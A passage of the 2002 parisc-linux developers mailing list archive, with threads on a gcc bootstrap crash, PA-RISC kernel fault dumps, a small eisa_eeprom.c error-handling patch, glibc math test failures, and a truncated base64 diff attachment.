X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16845

On Sun, 17 Nov 2002, John David Anglin wrote:

> > regex.c:8214: internal compiler error: Segmentation fault
> > Please submit a full bug report,
>
> When I saw your report, I started a new bootstrap and it has passed the
> point of the above ICE.  Thus, the problem could be in the following

that fast *waeehhh* someone missed that last zero at 715/100(0) 8-(

> areas:
>
> 1) Your bootstrap compiler is broken for one reason or another.  Regex.c
>    is a pretty stable bit of code.

was gcc-3.2; now changed my PATH again and is debian 3.0.4 now in
second run; looks fine so far; takes pretty long for -o java/parse.o
again ...


> 2) Your system is unstable.  Various parisc-linux systems have had memory
>    management problems causing random segmentation faults.  This has been

maybe... have some  ... in dmesg (running 2.4.18-pa33):

do_page_fault() pid=22502 command='conftest' type=15 address=0x40019000
vm_start = 0x40018000, vm_end = 0x40019000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011100000000100001111 Not tainted
r00-03  00000000 00021248 000109df 40176300
r04-07  00021386 00021248 0002135e 00000001
r08-11  0002137e 00000000 000d8f68 000f9008
r12-15  00000008 000e8d08 000d8f68 000e95e8
r16-19  00000000 000d24a4 0009e800 00000001
r20-23  40019000 40018000 4005e2fc 00000008
r24-27  0002152c 00000000 00010ff8 00021248
r28-31  00000000 00000219 faf00800 401038e7
sr0-3   00000014 00000014 00000000 00000014
sr4-7   00000014 00000014 00000014 00000014

IASQ: 00000014 00000014 IAOQ: 000109db 00010613
 IIR: 0e931200    ISR: 00000014  IOR: 40019000
 CPU:        0   CR30: 13560000 CR31: 103a0000
 ORIG_R28: 00000000


> 3) There have been problems with bash causing seg faults.  Glibc could
>    be involved.

no bash, nowhere, never, not as dflt ! 2> /dev/null ;-))


> You have to be specific about with compiler version was used for the
> bootstrap and the configuration options used for the build.

gcc-3.2  and --enable-nls=no

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Sun, 17 Nov 2002 16:14:30 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <200211172114.gAHLEUlf018244@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.44.0211171256290.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621942 17341 80.91.229.3 (22 Nov 2014 02:05:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:42 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 14:18:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CF3F482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 14:18:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAHLEVot018246;
	Sun, 17 Nov 2002 16:14:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAHLEUlf018244;
	Sun, 17 Nov 2002 16:14:30 -0500 (EST)
In-Reply-To: <Pine.BSF.4.44.0211171256290.39295-100000@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at Nov 17, 2002 01:16:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16846

> had 2.5.47-pa3 compiled with 3.0.4 up ad running
> Linux version 2.5.47-pa3 (bz@apollo) (gcc version 3.0.4) #8 Fri Nov 15 23:38:21 UTC 2002
> 
> but had trouble with unaligned page access:
> --- 8< 8< 8< ---
> bz@apollo:~> sshd(315): unaligned access to 0x0006fe7b at ip=0x00020eaf
> sshd(315): unaligned access to 0x0006feaf at ip=0x00020eb3

It should be relatively simple to determine what is causing these.
Use objdump or gdb to disassemble the code at the above locations.
The two least-significant bits in the ip addresses should be zeroed
when you do this.

I doubt this is actually a gcc problem but it might be.  I have been
running sshd built with gcc under hpux for years and have built the
latest version with 3.3.  HPUX doesn't have an unaligned trap handler
so the code would just seg fault if the same problem occurred there.

> bz@apollo:~>
> bz@apollo:~> dmesg
> ommand='sshd' type=6 address=0xed0e6013
> vm_start = 0x402b9000, vm_end = 0x402bc000

This is an insn TLB miss fault, so either sshd has branched to
never-never-land or there is a system problem in the management
of the page tables.  In either case, this will be very hard to
debug.  You might get somewhere running sshd under gdb if the
problem is in userland.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Sun, 17 Nov 2002 16:26:27 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200211172126.gAHLQRxs018282@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.44.0211172053420.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621942 17343 80.91.229.3 (22 Nov 2014 02:05:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 14:26:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01B0D482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 14:26:32 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAHLQSot018283;
	Sun, 17 Nov 2002 16:26:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAHLQRxs018282;
	Sun, 17 Nov 2002 16:26:27 -0500 (EST)
In-Reply-To: <Pine.BSF.4.44.0211172053420.39295-100000@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at Nov 17, 2002 09:13:15 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16847

> that fast *waeehhh* someone missed that last zero at 715/100(0) 8-(

Yes, full bootstrap and check is close to 24 hours on 100MHz machines.

> do_page_fault() pid=22502 command='conftest' type=15 address=0x40019000
> vm_start = 0x40018000, vm_end = 0x40019000

Faults involving conftest are probably ok.

> no bash, nowhere, never, not as dflt ! 2> /dev/null ;-))

What's /bin/sh?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [chris@qwirx.com: eisa_eeprom.c misc_register patch]
Date: Sun, 17 Nov 2002 23:10:26 +0100
Lines: 97
Approved: news@gmane.org
Message-ID: <20021117231026.G24769@tor.halden.lillfab.se>
References: <20021117161319.B7530@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621943 17346 80.91.229.3 (22 Nov 2014 02:05:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:43 +0000 (UTC)
Cc: Daniel Engstrom <5116@telia.com>, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 15:17:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailc.telia.com (mailc.telia.com [194.22.190.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3189A482E
	for <parisc-linux@parisc-linux.org>; Sun, 17 Nov 2002 15:17:52 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se (t2o62p56.telia.com [195.198.199.56])
	by mailc.telia.com (8.12.5/8.12.5) with ESMTP id gAHMHdps011295;
	Sun, 17 Nov 2002 23:17:39 +0100 (CET)
X-Original-Recipient: parisc-linux@parisc-linux.org
Original-Received: from tor (danne@tor.halden.lillfab.se [192.168.113.6])
	by zaphod.halden.lillfab.se (8.12.6/8.12.2/Debian -5) with ESMTP id gAHMBo5U002992;
	Sun, 17 Nov 2002 23:12:01 +0100
In-Reply-To: =?iso-8859-1?Q?=3C20021117161319=2EB7530?=
	=?iso-8859-1?Q?=40parcelfarce=2Elinux=2Etheplanet=2Eco=2Euk=3E=3B_from_wi?=
	=?iso-8859-1?Q?lly=40debian=2Eorg_on_s=F6n?=
	=?iso-8859-1?Q?=2C?= nov 17, 2002 at 17:13:19 +0100
X-Mailer: Balsa 1.2.4
Original-Lines: 97
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16848

On 2002.11.17 17:13 Matthew Wilcox wrote:
> 
> Daniel, I presume you're interested in maintaining this code?
Well, I have spent too much time on PA hacking for a while.

But the patch seems ok to me. As for the return-code: it is not 
checked by is only caller drivers/gsc/eisa.c:eisa_probe() so it does
not matter, currently. 

One other problem with this driver is the following line:

#define         EISA_EEPROM_MINOR 241

I tried to get a minor number when I wrote the code, but my emails
was not answered. Do we currently have a methos of aquiring misc 
minor numbers that work?

/Daniel
 
> ----- Forwarded message from Chris Wilson <chris@qwirx.com> -----
> 
> Envelope-to: willy@ftp.uk.linux.org
> Delivery-date: Sun, 17 Nov 2002 15:53:19 +0000
> Date: Sun, 17 Nov 2002 15:53:16 +0000 (GMT)
> From: Chris Wilson <chris@qwirx.com>
> X-X-Sender: chris@top.qwarx.com
> To: Matthew Wilcox <willy@debian.org>,
>    Linux Kernel Janitors <kernel-janitor-discuss@lists.sourceforge.net>
> cc: Trivial Patch Monkey <trivial@rustcorp.com.au>
> Subject: eisa_eeprom.c misc_register patch
> 
> Dear Sirs,
> 
> As part of my work on the Linux Kernel Janitors project, cleaning up on 
> functions which call misc_register and don't check for an error return, I 
> would like to submit my patch to drivers/parisc/eisa_eeprom.c. 
> 
> This patch simply causes the function to printk() an error and return the
> error code from misc_register() if it fails. I hope this is the right
> thing to do. It also changes the code layout (but not function) slightly,
> and flags a condition that I'm not sure about: If no address is supplied
> to its initialisation function, should it really return with no error,
> despite the fact that it hasn't done anything useful?
> 
> Cheers, Chris.
> -- 
> _ ___ __     _
>  / __/ / ,__(_)_  | Chris Wilson <0000 at qwirx.com> - Cambs UK |
> / (_/ ,\/ _/ /_ \ | Security/C/C++/Java/Perl/SQL/HTML Developer |
> \ _/_/_/_//_/___/ | We are GNU-free your mind-and your software |
> 
> 
> diff -ru8 linux-2.5.47/drivers/parisc/eisa_eeprom.c linux-2.5.47-chris/drivers/parisc/eisa_eeprom.c
> --- linux-2.5.47/drivers/parisc/eisa_eeprom.c	Mon Nov 11 03:28:29 2002
> +++ linux-2.5.47-chris/drivers/parisc/eisa_eeprom.c	Sun Nov 17 15:42:30 2002
> @@ -91,17 +91,27 @@
>  {
>  	EISA_EEPROM_MINOR,
>  	"eisa eeprom",
>  	&eisa_eeprom_fops
>  };
>  
>  int __init eisa_eeprom_init(unsigned long addr)
>  {
> -	if (addr) {
> -		eeprom_addr = addr;
> -		misc_register(&eisa_eeprom_dev);
> -		printk(KERN_INFO "EISA EEPROM at 0x%lx\n", eeprom_addr);
> +	int retval;
> +
> +	/* XXX why return success when we haven't done anything? */
> +	if (!addr)
> +		return 0;
> +
> +	eeprom_addr = addr;
> +
> +	retval = misc_register(&eisa_eeprom_dev);
> +	if (retval < 0) {
> +		printk(KERN_ERR "EISA EEPROM: cannot register misc device.\n");
> +		return retval;
>  	}
> +
> +	printk(KERN_INFO "EISA EEPROM at 0x%lx\n", eeprom_addr);
>  	return 0;
>  }
>  
>  MODULE_LICENSE("GPL");
> 
> 
> ----- End forwarded message -----
> 
> -- 
> Revolutions do not require corporate support.
> 
-- 



From - Thu Nov 08 21:25:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Sun, 17 Nov 2002 16:54:40 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200211172154.gAHLseba018429@hiauly1.hia.nrc.ca>
References: <20021111211624.GC9704@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621943 17349 80.91.229.3 (22 Nov 2014 02:05:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 17 15:18:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79A5B482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Nov 2002 15:18:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAHLsfot018430;
	Sun, 17 Nov 2002 16:54:41 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAHLseba018429;
	Sun, 17 Nov 2002 16:54:40 -0500 (EST)
In-Reply-To: <20021111211624.GC9704@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 04:16:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16849

> testing double (without inline functions)
> Failure: Real part of: cacos (inf + NaN i) == NaN + inf i plus sign of zero/inf not specified: Exception "Invalid operation" set

It occurred to me these might be a gcc problem on PA1 machines.  These
machines don't have fneg and negation is currently implemented as the
product with -1.  This may cause invalid operation to be set if the
value is a signaling NaN.

A better way to do the negation is to toggle the sign bit but this is
inefficient as the value needs to be copied from a FPR to a GPR and
back again.

A quick check would be to run the tests with "-mpa-risc-2-0" and see
if this makes any difference.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS changes?
Date: Mon, 18 Nov 2002 12:47:45 +0100
Lines: 360
Approved: news@gmane.org
Message-ID: <3DA3C9AF00003CC7@ocpmta2.be.tiscali.com>
References: <20021113180503.O30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3DA3C9AF00003CC7/mail.tiscali.be"
X-Trace: ger.gmane.org 1416621943 17354 80.91.229.3 (22 Nov 2014 02:05:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 04:47:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8970482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 04:47:53 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18DkNW-00030i-00; Mon, 18 Nov 2002 12:47:46 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 18 Nov 2002 12:47:45 +0100
In-Reply-To: <20021113180503.O30392@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16850

--=========3DA3C9AF00003CC7/mail.tiscali.be
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit


>
>On Wed, Nov 13, 2002 at 07:02:31PM +0100, jsoe0708@tiscali.be wrote:
>> 
...
>
>figure it out yourself.
>
Excuse me for delay but after a serious car accident I had to take care of
my wife and my mother :( 

[the big diff previous file was certainly due to the cvs update made to early
during the merge]

Well the diff file size is now less than 70kb. Some diff are useless but
any way I submit you this diff because I find some small interesting diff:
ppp_generic.c hp_psaux.c (changes into 2.4.19-pa24 doesn't not seems to be
integrated into 2.4.20-rc1 ?)
cpqfcSTstructs.c (the contrary of previous case)

Joel


-----------------------------------------------------
ADSL Advantage...L'activation et le 1er mois sont GRATUITS...http://adsl.tiscali.be



--=========3DA3C9AF00003CC7/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="linux-2.4.20-rc1-mine_rc1-pa6.diff.bz2"

QlpoOTFBWSZTWVUhw4sAYef/gH//Jgh//////////7////9gWd30egHXfYAe6r7tue+Pe+75HSTd
d3w5Gzd48Pb7fU9n3du996766F8gEh4DtVOAmrz6+BTr2+7dCDtg4PHcPg50lS7jvuVFfH0Hobuu
7tlO6z7tyGTIvbWnu65y20t9uM0E8XxfbVKVKVLRuwxoYJJU7aHtk4WtrUNC9gsDEZbZVpja+w3N
spaeDy9zGb3adc52EbK7sHWADGpVjLZbO492LzFhplVJbHrrkh244MsmK2yycZ73XeYtsd2XuNrl
HW2eF2appiygaaQCAAgmATQAhkJmgqe09RJ+mjKnp6IIep6j1GQAASgTQIImEJiTU8lP0FP1GTap
6T1P1TaaID1NDTag0BoADQAaYiZKGkk9Ub0Ueo9NQ00emp6npAAAAABoAADRoAEmkkEQQ0U8RpoR
6m1GU01P2pGnlTJpmCjaaaekEeSepoaHqaDI9QRKTIhoATEBGRk1ANBT8mqeKT20Rqm1PaJ6po9R
6n6ak2ykNAyBIiEAgAmgINJ6IE9JhMBU9Hk1GmhPSeKfoTSMjRo0ND2B1n6k+55yyJoZQRBJ8LQR
9lqe4ZIEOow/Y0o+rAmZJVaAUECQxSOQQj1SnNbRpSxK1T71MWf5mBrPve493u53d7KtUKWlES1i
oloxqtCpUrItSzoWhXMiKLP3v0yQ/WMkE/ynG/3eMDAJF/zQQOzqhCUNpk9jmerKipWQYoB/a+3/
R+f8M/F+bgOe//ATxn1beLeod9wzCUoNKtLbiKWGRLKoDlwHIIIyNsB/WmnTbZorMqjQyCYrRBEc
sHgbkuqUxzAzMyZMZWIxSePNZFKhoTFsoGZamMULlzC5MhgmTDKFwWhBM1SmFdfw5ETCR1pbRJlL
hVtykCeYPylow4nZxm4MihgNhl4wp0He6xYepIXcu7+D2U22pt/LTn0lDow2E9bxyQpDTz/ZAOLk
3wEH+CP3xAiXmHw+4/DO7YBwThuKhEv99JMVA/xGB+z9nhfldTc4r/h0wDl22tiKCG2xIi2BdamF
cHcjBlWIwdzICfDIKeb0agIKkTebyn+dV4FmFmjSXPeXySpj5K2mcVZsbSaIXXF9mSmHSjktKSBY
ZlkZkpXLbabOmGa2szU18h1cDYTamy3GMFUxszLMFEQAVzMMy1MI5XEwluJg0aZczIUoVigKZmKC
JLW2mUwcroTWqsdW2FlG3MJlW5hFZuQJrGa0lDG5awxC5kMlSpmUtVaW1YJaGMWKYlHLmZXMkrdr
Th1sq6AzemM1bbrGYymJYxhopQ1U0q4GYJmVSDhcqljXMxksRBZBMlorMlqwxrdvH+bv+rofu+r9
fjua0ZKBHORICYlkEFKiF/KfY5P+Gf9HdC3nKd07qwmNjfx1t8tILQOLamJiWuV3WOLVmXTZ8XNV
nJXmBRjGiakTwuoU3aA0fBcBzRcENK8hUf92ENCadQvBrnTfJCzFBnNtyrlTLdK9KfdHWu2WB8XN
7ogGgoNiPQ2x+JUBPVUZXVc5pB9myoVUL6UTqFXWZOak3I0rSVKVXoyavYy77WnUTEOO2mJpLznG
uzYoFtCrHonYCInrzXk73bOsPO1SGMBcikchvD6p3JK+WkX+lXvh6a9MaWFy16xsoXz6T9F6Fbis
e3MfIbak/kpCefOaj1RvlQcngORjllZUeUfPfsy1Yxem+cRT1tR6cSJjr0u3ejpQ+GcL+ZjcyhQw
nwds8o4JI/X9KSGknL/1zVKlfC8ipmIqRyINN1L/79Fbbr8pSiazgv4pdk3VOYGjazK70MyBiL3+
1Y3TMfA+r2fmzkvhM3cz+ZFFGKcZESwcyo89LVG3Lx5Q6paqJirXGwh0iRS5WtCpO6zShfP1qj0K
KQS8j2S5OnyEkhAUGwbuvwhKpbei9/MPev4flmfpVE+Pu13X0t0PSDHn9hVnolgNaNl+Kaiit18w
BWqB51LA7ZUaPkPZgT1Mk5wMv2miVVoUV1altu3ZbuG9HaoazMcWzfGoiKsV5Y1qxFO3PpSuT7Ix
IXrIVBOPOQ74R0h/TzTuCWSWUO6GOgZMwvdT/V/G6m/hAYMUj6OGSPIjlMDG+10aq3ucGHyzjL6z
b9329VVkYl7Fh884UM5GO64VMCmBca4MLcqP0ctI+hEQUWKHI0bMdnuYvX/DxTyo+lQp0UM+069H
RHXf6xs16IZtelulofJzmuZY0LrVrlWhjH9y+Mvd43yJblFJDYQYHrr50ARA/rO4OUQmFH63MeXn
r+7tEQ9NlBqMwHY6JXepRo856yLw6076F9NCZ6owEpcn2TcZWl9C8DsIq1zhaTBViUmz2sDRACNY
AiHByEBjlaUHtmcZ57F6MeamePjo3Ei0WCp9otmio/TxV3sl82YVEsQ66LCvDpqqPBz5fopu6dzj
1YyLxuykNhW4kQQrK26lWkHs8q2kPRhVJmfge6yOlYiitEQbVHXmGS4MzDuH3lA5Bn7+2ufpW7EK
SUvJdkYxmBY5X9OXBpvuw7V8rewIdG1vSeR6cpQAkQKIki2I7RpKHgyBU0989kcOGH4enu53UaLO
RvrC8LgT5rJU9WvPxr5GfQ4+ue/SE6JXl/G1Ddntd8qzRhV6hkOzIqdnHGtnd54l5xAUfhMRBDe1
tljVfXGXOzVWrtLrmPgob0wrFPH9JDU2rad7fjfiqZba+ziZT5tLi6xQp4cRDmxjGDpzWKRY1FYM
FYLzM7NdfbNXJ7fXeh+vsoAp+ACjxYi0gsgrIISAq6ooHGJcwqkFpEWDznovrpjaN530FpDZEDqj
gROeCGEUiANJT5TQVqALWCZC1vTv9FrkfGGQ0fD36v9b0CuQa09lXyp2SQeyhP9TDabY1Bc3jVVU
UmIGNI5G7d4YLyHe9TvcuG8oUcw+O0gIR6fXA4hdAPS1rN/Z2ay2zbRzQ5IND3PV/P2lby9B8nUS
